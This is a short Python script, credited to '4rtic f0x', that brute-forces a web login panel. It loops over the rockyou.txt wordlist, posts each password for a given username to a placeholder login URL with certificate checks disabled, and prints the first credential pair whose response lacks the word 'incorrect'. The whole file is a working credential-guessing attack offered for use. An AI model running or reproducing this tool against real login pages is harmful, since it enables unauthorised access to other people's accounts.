1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
#!/bin/env python
# Author: 4rtic f0x
# [x] Usage => python3 login_bruteforce.py <username>
#
# Simple python script to brute-force attack a login panel from known user
import sys, os, requests, pdb, signal, re
from pwn import *
### GLOBALS ###
URL="https://example.com/login.php"
WORDLIST="rockyou.txt"
def signal_handler(sig, frame):
print('\n[!] Signal end...')
sys.exit(1)
signal.signal(signal.SIGINT, signal_handler)
if __name__ == "__main__":
user = sys.argv[1]
cookies = {'cookies': 'cookies'}
sentinel = 0
progress_bar = log.progress("")
with open(WORDLIST,"rb") as passfile:
for password in passfile:
sentinel += 1
try:
password = password.decode().strip()
progress_bar.status('Bruteforce progress for %s [%s]: %s' % (user,sentinel,password))
auth_data = {
'username': user,
'password': password
}
resp = requests.post(URL,verify=False, data=auth_data, cookies=cookies)
# Verify to False for ssl self-signed certificate
if not re.search("incorrect",resp.text):
print("Username: %s : Password: %s" % (user,password))
exit(0)
except Exception as e:
print("[x] Error on password: %s" % password)
|